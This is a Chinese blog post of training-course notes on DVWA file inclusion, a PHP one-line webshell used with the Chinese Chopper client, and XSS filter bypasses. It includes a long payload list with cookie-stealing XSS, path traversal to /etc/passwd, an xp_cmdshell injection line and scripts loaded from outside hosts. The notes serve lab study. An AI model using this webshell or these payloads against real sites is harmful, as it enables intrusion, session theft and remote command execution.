【网络安全1x03】安恒厂家网络安全培训 --- day3

发表于 更新于

上午讲dvwa的文件包含漏洞模块，php一句话木马和菜刀工具的使用。

下午讲跨站注入XSS，文件上传漏洞靶机upload-labs。

dvwa—File Inclusion

手工修改路径

修改文件路径，查看报错信息：

1
2
3
4
5
6
7
8
9
http://localhost/dvwa/vulnerabilities/fi/?page=file1.php

#修改?page=后文件目录为一个不存在文件
http://localhost/dvwa/vulnerabilities/fi/?page=abc.txt

#回显如下：
Warning: include(abc.txt): failed to open stream: No such file or directory in C:\Study\CTF\tools\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening 'abc.txt' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in C:\Study\CTF\tools\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php on line 36

得到一个路径C:\php\pear;../../external/phpids/0.6/lib/

上传php脚本

  1. 显示php信息：
1
2
3
4
<?php phpinfo();?>
#回显内容显示上传路径
#../../hackable/uploads/phpinfo.php succesfully uploaded!
#执行phpinfo()显示当前php版本信息
  1. 一句话php木马
1
2
3
4
#<?php @eval($_POST[pp]);?>
#执行后打开中国菜刀，新建连接，复制url，后面跟上pp，双击访问得到文件目录
#报200是cookie问题，使用菜刀内置浏览器登录一遍dvwa即可
#报500是php版本问题，降到5.2/5.4即可

跨站注入XSS

网站某些留言框、搜索栏对输入内容进行回显，可能存在跨站攻击。

XSS有三种类型。

DOM型

没讲

Reflected型

low

网站源码：

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

由于没有对输入内容进行限制，可以输入下面脚本进行测试：

1
<script>alert(/xss/)</script>

回显一个弹出框，内容是/xss/。

medium

切换到medium难度，查看网站源码对<script>字段进行过滤：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这个可以对<script>进行双写/大小写绕过：

1
2
<sc<script>ript>alert(/xss/)</script>
<Script>alert(/xss/)</script>

回显一个弹出框，内容是/xss/。

high

high级别对任何包含script的非连续字符串进行过滤，这个命令基本被完全限制了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

使用另一个命令绕过检测：

1
<img src='1' onerror=alert(/xss/)>

回显一个弹出框，内容是/xss/。

Stored型

存储型将内容存到数据库，每次刷新页面都会再回显一次。

使用命令与反射型相同。

高级情况下对第二个字段的<>全部过滤，需要抓包修改第一个字段为XSS代码。

常用XSS代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt>

<svg/onload=alert(1)>

<script>alert(document.cookie)</script>

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%22%3cscript%3ealert(%22xss%22)%3c/script%3e

%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable');</script>

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

a?<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

%3Cscript%3Ealert(document. domain);%3C/script%3E&

%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

<IMG src="javascript:alert('XSS');">

<IMG src=javascript:alert('XSS')>

<IMG src=JaVaScRiPt:alert('XSS')>

<IMG src=JaVaScRiPt:alert("XSS")>

<IMG src=javascript:alert('XSS')>

<IMG src=javascript:alert('XSS')>

<IMG src=javascript:alert('XSS')>

<IMG src="jav ascript:alert('XSS');">

<IMG src="jav ascript:alert('XSS');">

<IMG src="jav ascript:alert('XSS');">

"<IMG src=java\0script:alert(\"XSS\")>";' > out

<IMG src=" javascript:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript:alert('XSS')">

<IMG LOWSRC="javascript:alert('XSS')">

<BGSOUND src="javascript:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER src="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet" href="javascript:alert('XSS');">

<IMG src='vbscript:msgbox("XSS")'>

<IMG src="mocha:[code]">

<IMG src="livescript:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

<IFRAME src=javascript:alert('XSS')></IFRAME>

<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript:alert('XSS')">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<BASE href="javascript:alert('XSS');//">

getURL("javascript:alert('XSS')")

a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);

<XML src="javascript:alert('XSS');">

"> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG src="javascript:alert('XSS')"

<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->

<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>

<IMG SRC=javascript:alert(‘XSS’)>

<IMG SRC=# onmouseover=”alert(‘xxs’)”>

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>

<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC=”jav ascript:alert(‘XSS’);”>

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

<IMG SRC=”javascript:alert(‘XSS’)”

</script><script>alert(‘XSS’);</script>

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

<svg/onload=alert('XSS')>

<IMG SRC=’vbscript:msgbox(“XSS”)’>

<BGSOUND SRC="javascript:alert('XSS');">

<BR SIZE="&{alert('XSS')}">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<XSS STYLE="behavior: url(xss.htc);">

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

<DIV STYLE="width: expression(alert('XSS'));">

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

<script>alert(/xss/)</script>

<svg onload=alert(document.domain)>

<img src=document.domain onerror=alert(document.domain)>

<M onmouseover=alert(document.domain)>M

<marquee onscroll=alert(document.domain)>

<a href=javascript:alert(document.domain)>M</a>

<body onload=alert(document.domain)>

<details open ontoggle=alert(document.domain)>

<embed src=javascript:alert(document.domain)>

<script>alert(1)</script>

<sCrIpT>alert(1)</sCrIpT>

<ScRiPt>alert(1)</ScRiPt>

<sCrIpT>alert(1)</ScRiPt>

<ScRiPt>alert(1)</sCrIpT>

<img src=1 onerror=alert(1)>

<iMg src=1 oNeRrOr=alert(1)>

<ImG src=1 OnErRoR=alert(1)>

<img src=1 onerror="alert(&quot;M&quot;)">

<marquee onscroll=alert(1)>

<mArQuEe OnScRoLl=alert(1)>

<MaRqUeE oNsCrOlL=alert(1)>

<a href=javascript:/0/,alert(%22M%22)>M</a>

<a href=javascript:/00/,alert(%22M%22)>M</a>

<a href=javascript:/000/,alert(%22M%22)>M</a>

<a href=javascript:/M/,alert(%22M%22)>M</a>

<base href=javascript:/M/><a href=,alert(1)>M</a>

<base href=javascript:/M/><iframe src=,alert(1)></iframe>

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

"><img src=x onerror=alert(document.cookie)>.gif

<div style="background-image:url(javascript:alert(/xss/))">

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

<iframe src=javascript:alert(1)></iframe>

<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>

<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>

<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>

<iframe src=https://baidu.com width=1366 height=768></iframe>

<iframe src=javascript:alert(1) width=1366 height=768></iframe

<form action=javascript:alert(1)><input type=submit>

<form><button formaction=javascript:alert(1)>M

<form><input formaction=javascript:alert(1) type=submit value=M>

<form><input formaction=javascript:alert(1) type=image value=M>

<form><input formaction=javascript:alert(1) type=image src=1>

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

upload-labs

官方README.md：

upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。

正好做了一部分，记录如下：

【网络安全2x01】上传漏洞靶场upload-labs（Pass01-04）